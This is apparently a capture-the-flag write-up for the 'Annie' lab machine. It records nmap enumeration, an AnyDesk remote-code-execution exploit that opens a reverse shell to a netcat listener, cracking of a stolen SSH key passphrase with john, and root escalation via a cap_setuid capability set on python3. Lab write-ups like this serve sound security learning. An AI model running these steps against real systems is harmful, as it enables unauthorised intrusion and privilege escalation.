Annie

Enumeration

Nmap Scan

```
PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:d7:25:34:e8:07:b7:d9:6f:ba:d6:98:1a:a3:17:db (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA0R7eKVAIQzgsQ1QLoI7zzRYcaNBJ0wZtCbG1n5lR51Jfr2CC6+IV
VxzIeo0wCtfV9tcgtRXVdrju+29xaBR/Hin16MAf7QM4cY5dt46pgADnbwSXAy8GpnuCT10tTrL27gpKM2ayqmlpnKSxL2d
aP5uhkuoZCI3EYOvbaoPn4/u4vKeH64bk/s5zTE2JeIV/CwQnheYc1ZhwiJQD5k11735k+NfhD7pmhNY+QpG6qZNyFZ4A
PqdktrnDFetksOkC2NF4D8/OOjDsYkmofeIe+2fe01BHO4KFnRrKI3aSNDQdeNIQIL7LgKufgQ+yP0WmRLOThsiwu22jUG/
8Ot1f
|   256 72:10:26:ce:5c:53:08:4b:61:83:f8:7a:d1:9e:9b:86 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH+EwC6q+M+qEr2TTccT
tvcNF7dfougjgrZzZG4ShpTnNo1KXJy6iTnW/al9mxm/ecZVSF45w3Z3IYwAi9nfrdU=
|   256 d1:0e:6d:a8:4e:8e:20:ce:1f:00:32:c1:44:8d:fe:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBgcqbntpdHoH14/wXi5gysaIvv0hOk+VvCUNmVjhkMQ

7070/tcp  open  realserver? syn-ack ttl 61

33439/tcp open  unknown     syn-ack ttl 61
```

- Check if password authentication is enabled for SSH
- Further do enumeration for port 7070

SSH (22)

```
└─$ ssh root@annie.thm
The authenticity of host 'annie.thm (10.10.160.160)' can't be established.
ED25519 key fingerprint is SHA256:psjvqDXPWOqLQKIK8kRzSuqVtvSrfysL/TwPGnhb2Jw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'annie.thm' (ED25519) to the list of known hosts.
root@annie.thm: Permission denied (publickey).
```

- Password authentication is disabled. Have to find a key or generate a key and upload for a user.

RealServer (7070)

```
└─$ nmap -A -p7070 annie.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 18:50 IST
Nmap scan report for annie.thm (10.10.160.160)
Host is up (0.42s latency).
```

```
PORT     STATE SERVICE        VERSION
7070/tcp open  ssl/realserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AnyDesk Client
| Not valid before: 2022-03-23T20:04:30
|_Not valid after:  2072-03-10T20:04:30
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 4 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   240.40 ms 10.4.0.1
2   ... 3
4   415.04 ms annie.thm (10.10.160.160)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.77 seconds
```

AnyDesk Client is running on this port.

```
└─$ searchsploit anydesk
----------------------------------------------------------------------------------------
 Exploit Title                                     |  Path
----------------------------------------------------------------------------------------
AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation  | windows/local/40410.txt
AnyDesk 5.4.0 - Unquoted Service Path                       | windows/local/47883.txt
AnyDesk 5.5.2 - Remote Code Execution                        | linux/remote/49613.py
AnyDesk 7.0.15 - Unquoted Service Path                      | windows/local/51968.txt
AnyDesk 9.0.1 - Unquoted Service Path                       | windows/local/52258.txt
----------------------------------------------------------------------------------------
Shellcodes: No Results
```

There is a remote code execution vulnerability available for AnyDesk 5.5.2. I do not have any info for the version running on the target. I will try this on the target.

We have to run the msfvenom command mentioned in the code, with our machine IP and port. The shellcode that will be generated, we have to replace it with the one mentioned in the code and then run the file.

Exploitation

```
└─$ python2 49613.py
sending payload ...
reverse shell should connect within 5 seconds
```

```
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.4.101.169] from (UNKNOWN) [10.10.73.193] 34344
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

annie@desktop:/home/annie$ id
```

```
id
uid=1000(annie) gid=1000(annie) groups=1000(annie),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(samba
share)
annie@desktop:/home/annie$
```

```
annie@desktop:/home/annie/.ssh$ ls -l
als -l
total 8
-rw------- 1 annie annie  553 Mar 23  2022 authorized_keys
-rw-rw-r-- 1 annie annie 2635 Mar 23  2022 id_rsa
```

The SSH directory contains the SSH key. This key requires a passphrase.

```
└─$ ssh -i id_rsa annie@annie.thm
Enter passphrase for key 'id_rsa':
```

```
└─$ john passphrase -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
annie123         (id_rsa)
1g 0:00:02:10 DONE (2025-05-30 19:19) 0.007636g/s 155.4p/s 155.4c/s 155.4C/s bibles..ailyn
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Priv esca

```
annie@desktop:~$ find / -perm -u=s 2>/dev/null
/sbin/setcap
/bin/mount
/bin/ping
/bin/su
/bin/fusermount
/bin/umount
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
```

/sbin/setcap → set file capabilities.

```
annie@desktop:~$ /sbin/setcap
usage: setcap [-q] [-v] (-r|-|<caps>) <filename> [ ... (-r|-|<capsN>) <filenameN> ]

 Note <filename> must be a regular (non-symlink) file.
```

I tried a common capabilities privilege escalation technique: setting capabilities for python3 and then using it to get a root shell.

Capabilities

If the binary has the Linux `CAP_SETUID` capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

```
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

```
   annie@desktop:~$ setcap cap_setuid+ep python3
annie@desktop:~$ getcap -r / 2>/dev/null
/home/annie/python3 = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
```

```
annie@desktop:~$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1000(annie) groups=1000(annie),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashar
e)
# whoami
root
#
```